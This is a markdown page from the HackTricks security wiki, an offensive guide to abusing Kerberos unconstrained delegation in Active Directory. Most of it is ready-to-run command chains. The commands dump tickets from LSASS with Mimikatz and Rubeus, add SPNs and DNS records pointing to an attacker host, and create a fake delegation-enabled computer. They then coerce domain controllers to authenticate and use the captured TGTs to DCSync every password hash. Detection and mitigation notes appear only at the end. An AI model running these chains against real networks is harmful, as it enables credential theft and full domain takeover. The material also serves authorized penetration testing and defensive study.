unconstrained-delegation.md (13226B)
1 --- 2 title: "Unconstrained Delegation" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/unconstrained-delegation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Unconstrained Delegation 14 15 ## Unconstrained delegation 16 17 This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine. 18 19 So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc). 20 21 You can **find Computer objects with this attribute** checking if the [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) attribute contains [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does: 22 23 ```bash 24 # List unconstrained computers 25 ## Powerview 26 ## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it) 27 Get-DomainComputer –Unconstrained –Properties name 28 Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' 29 30 ## ADSearch 31 ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem 32 33 # Export tickets with Mimikatz 34 ## Access LSASS memory 35 privilege::debug 36 sekurlsa::tickets /export #Recommended way 37 kerberos::list /export #Another way 38 39 # Monitor logins and export new tickets 40 ## Doens't access LSASS memory directly, but uses Windows APIs 41 Rubeus.exe dump 42 Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs 43 ``` 44 45 Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket)**.**\ 46 More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)<sup>[[2]](#references)</sup>\ 47 [**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)<sup>[[2]](#references)[[3]](#references)</sup> 48 49 ### **Force Authentication** 50 51 If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\ 52 Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account. 53 54 To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample): 55 56 ```bash 57 .\SpoolSample.exe <printmachine> <unconstrinedmachine> 58 ``` 59 60 If the TGT if from a domain controller, you could perform a [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) and obtain all the hashes from the DC.\ 61 [**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)<sup>[[10]](#references)</sup> 62 63 Find here other ways to **force an authentication:** 64 65 66 [Printers Spooler Service Abuse](/hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse) 67 68 Any other coercion primitive that makes the victim authenticate with **Kerberos** to your unconstrained-delegation host works too. In modern environments this often means swapping the classic PrinterBug flow for **PetitPotam**, **DFSCoerce**, **ShadowCoerce**, **MS-EVEN**, or **WebClient/WebDAV**-based coercion depending on which RPC surface is reachable. 69 70 ### Abusing a user/service account with unconstrained delegation 71 72 Unconstrained delegation is **not limited to computer objects**. A **user/service account** can also be configured as `TRUSTED_FOR_DELEGATION`. In that scenario, the practical requirement is that the account must receive Kerberos service tickets for an **SPN it owns**. 73 74 This leads to 2 very common offensive paths: 75 76 1. You compromise the password/hash of the unconstrained-delegation **user account**, then **add an SPN** to that same account. 77 2. The account already has one or more SPNs, but one of them points to a **stale/decommissioned hostname**; recreating the missing **DNS A record** is enough to hijack the authentication flow without modifying the SPN set.<sup>[[8]](#references)</sup> 78 79 Minimal Linux flow: 80 81 ```bash 82 # 1) Find unconstrained-delegation users and their SPNs 83 Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties serviceprincipalname | ? {$_.serviceprincipalname} 84 findDelegation.py -target-domain <DOMAIN_FQDN> <DOMAIN>/<USER>:'<PASS>' 85 86 # 2) If needed, add a listener SPN to the compromised unconstrained user 87 python3 addspn.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \ 88 -s 'HOST/kud-listener.<DOMAIN_FQDN>' --target-type samname <DC_IP> 89 90 # 3) Make the hostname resolve to your attacker box 91 python3 dnstool.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \ 92 -r 'kud-listener.<DOMAIN_FQDN>' -a add -t A -d <ATTACKER_IP> <DC_IP> 93 94 # 4) Start krbrelayx with the unconstrained user's Kerberos material 95 # For user accounts, the salt is usually UPPERCASE_REALM + samAccountName 96 python3 krbrelayx.py --krbsalt '<DOMAIN_FQDN_UPPERCASE>svc_kud' --krbpass '<PASS>' -dc-ip <DC_IP> 97 98 # 5) Coerce the DC/target server to authenticate to the SPN you own 99 python3 printerbug.py '<DOMAIN>/svc_kud:<PASS>'@<DC_FQDN> kud-listener.<DOMAIN_FQDN> 100 # Or swap the coercion primitive for PetitPotam / DFSCoerce / Coercer if needed 101 102 # 6) Reuse the captured ccache for DCSync or lateral movement 103 KRB5CCNAME=DC1\\$@<DOMAIN_FQDN>_krbtgt@<DOMAIN_FQDN>.ccache \ 104 secretsdump.py -k -no-pass -just-dc <DOMAIN_FQDN>/ -dc-ip <DC_IP> 105 ``` 106 107 Notes: 108 109 - This is especially useful when the unconstrained principal is a **service account** and you only have its credentials, not code execution on a joined host. 110 - If the target user already has a **stale SPN**, recreating the corresponding **DNS record** may be less noisy than writing a new SPN into AD. 111 - Recent Linux-centric tradecraft uses `addspn.py`, `dnstool.py`, `krbrelayx.py`, and one coercion primitive; you do not need to touch a Windows host to complete the chain. 112 113 ### Abusing Unconstrained Delegation with an attacker-created computer 114 115 Modern domains often have `MachineAccountQuota > 0` (default 10), allowing any authenticated principal to create up to N computer objects. If you also hold the `SeEnableDelegationPrivilege` token privilege (or equivalent rights), you can set the newly created computer to be trusted for unconstrained delegation and harvest inbound TGTs from privileged systems.<sup>[[1]](#references)</sup> 116 117 High-level flow: 118 119 1) Create a computer you control 120 121 ```bash 122 # Impacket addcomputer.py (any authenticated user if MachineAccountQuota > 0) 123 addcomputer.py -computer-name <FAKEHOST> -computer-pass '<Strong.Passw0rd>' -dc-ip <DC_IP> <DOMAIN>/<USER>:'<PASS>' 124 ``` 125 126 2) Make the fake hostname resolvable inside the domain 127 128 ```bash 129 # krbrelayx dnstool.py - add an A record for the host FQDN to point to your listener IP 130 python3 dnstool.py -u '<DOMAIN>\\<FAKEHOST>$' -p '<Strong.Passw0rd>' \ 131 --action add --record <FAKEHOST>.<DOMAIN_FQDN> --type A --data <ATTACKER_IP> \ 132 -dns-ip <DC_IP> <DC_FQDN> 133 ``` 134 135 3) Enable Unconstrained Delegation on the attacker-controlled computer 136 137 ```bash 138 # Requires SeEnableDelegationPrivilege (commonly held by domain admins or delegated admins) 139 # BloodyAD example 140 bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' --host <DC_FQDN> add uac '<FAKEHOST>$' -f TRUSTED_FOR_DELEGATION 141 ``` 142 143 Why this works: with unconstrained delegation, the LSA on a delegation-enabled computer caches inbound TGTs. If you trick a DC or privileged server to authenticate to your fake host, its machine TGT will be stored and can be exported. 144 145 4) Start krbrelayx in export mode and prepare the Kerberos material 146 147 ```bash 148 # Older labs often use RC4/NT hashes, but modern domains frequently negotiate AES for machine accounts. 149 # Prefer supplying the AES key directly, or derive it from the known password+salt if needed. 150 python3 krbrelayx.py --aesKey <AES256_KEY> -dc-ip <DC_IP> 151 152 # Alternative if you know the password and correct Kerberos salt: 153 python3 krbrelayx.py --krbpass '<Strong.Passw0rd>' --krbsalt '<CASE_SENSITIVE_SALT>' -dc-ip <DC_IP> 154 ``` 155 156 5) Coerce authentication from the DC/servers to your fake host 157 158 ```bash 159 # netexec (CME fork) coerce_plus module supports multiple coercion vectors 160 # Common options: METHOD=PrinterBug|PetitPotam|DFSCoerce|MSEven 161 netexec smb <DC_FQDN> -u '<FAKEHOST>$' -p '<Strong.Passw0rd>' -M coerce_plus -o LISTENER=<FAKEHOST>.<DOMAIN_FQDN> METHOD=PrinterBug 162 ``` 163 164 krbrelayx will save ccache files when a machine authenticates, for example: 165 166 ```text 167 Got ticket for DC1$@DOMAIN.TLD [krbtgt@DOMAIN.TLD] 168 Saving ticket in DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache 169 ``` 170 171 6) Use the captured DC machine TGT to perform DCSync 172 173 ```bash 174 # Create a krb5.conf for the realm (netexec helper) 175 netexec smb <DC_FQDN> --generate-krb5-file krb5.conf 176 sudo tee /etc/krb5.conf < krb5.conf 177 178 # Use the saved ccache to DCSync (netexec helper) 179 KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \ 180 netexec smb <DC_FQDN> --use-kcache --ntds 181 182 # Alternatively with Impacket (Kerberos from ccache) 183 KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \ 184 secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP> 185 ``` 186 187 Notes and requirements: 188 189 - `MachineAccountQuota > 0` enables unprivileged computer creation; otherwise you need explicit rights. 190 - Setting `TRUSTED_FOR_DELEGATION` on a computer requires `SeEnableDelegationPrivilege` (or domain admin). 191 - Ensure name resolution to your fake host (DNS A record) so the DC can reach it by FQDN. 192 - Coercion requires a viable vector (PrinterBug/MS-RPRN, EFSRPC/PetitPotam, DFSCoerce, MS-EVEN, etc.). Disable these on DCs if possible. 193 - If the victim account is marked as **"Account is sensitive and cannot be delegated"** or is a member of **Protected Users**, the forwarded TGT will not be included in the service ticket, so this chain won't yield a reusable TGT.<sup>[[9]](#references)</sup> 194 - If **Credential Guard** is enabled on the authenticating client/server, Windows blocks **Kerberos unconstrained delegation**, which can make otherwise valid coercion paths fail from an operator perspective. 195 196 Detection and hardening ideas: 197 198 - Alert on Event ID 4741 (computer account created) and 4742/4738 (computer/user account changed) when UAC `TRUSTED_FOR_DELEGATION` is set. 199 - Monitor for unusual DNS A-record additions in the domain zone. 200 - Watch for spikes in 4768/4769 from unexpected hosts and DC-authentications to non-DC hosts. 201 - Restrict `SeEnableDelegationPrivilege` to a minimal set, set `MachineAccountQuota=0` where feasible, and disable Print Spooler on DCs. Enforce LDAP signing and channel binding. 202 203 ### Mitigation 204 205 - Limit DA/Admin logins to specific services 206 - Set "Account is sensitive and cannot be delegated" for privileged accounts. 207 208 ## References 209 210 - [1] [HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA](https://0xdf.gitlab.io/2025/09/12/htb-delegate.html) 211 - [2] [harmj0y – S4U2Pwnage](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) 212 - [3] [ired.team – Domain compromise via unrestricted delegation](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) 213 - [4] [krbrelayx](https://github.com/dirkjanm/krbrelayx) 214 - [5] [Impacket addcomputer.py](https://github.com/fortra/impacket) 215 - [6] [BloodyAD](https://github.com/CravateRouge/bloodyAD) 216 - [7] [netexec (CME fork)](https://github.com/Pennyw0rth/NetExec) 217 - [8] [Praetorian – Unconstrained Delegation in Active Directory](https://www.praetorian.com/blog/unconstrained-delegation-active-directory/) 218 - [9] [Microsoft Learn – Protected Users Security Group](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) 219 - [10] [ired.team – Domain compromise via DC print server and Kerberos delegation](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)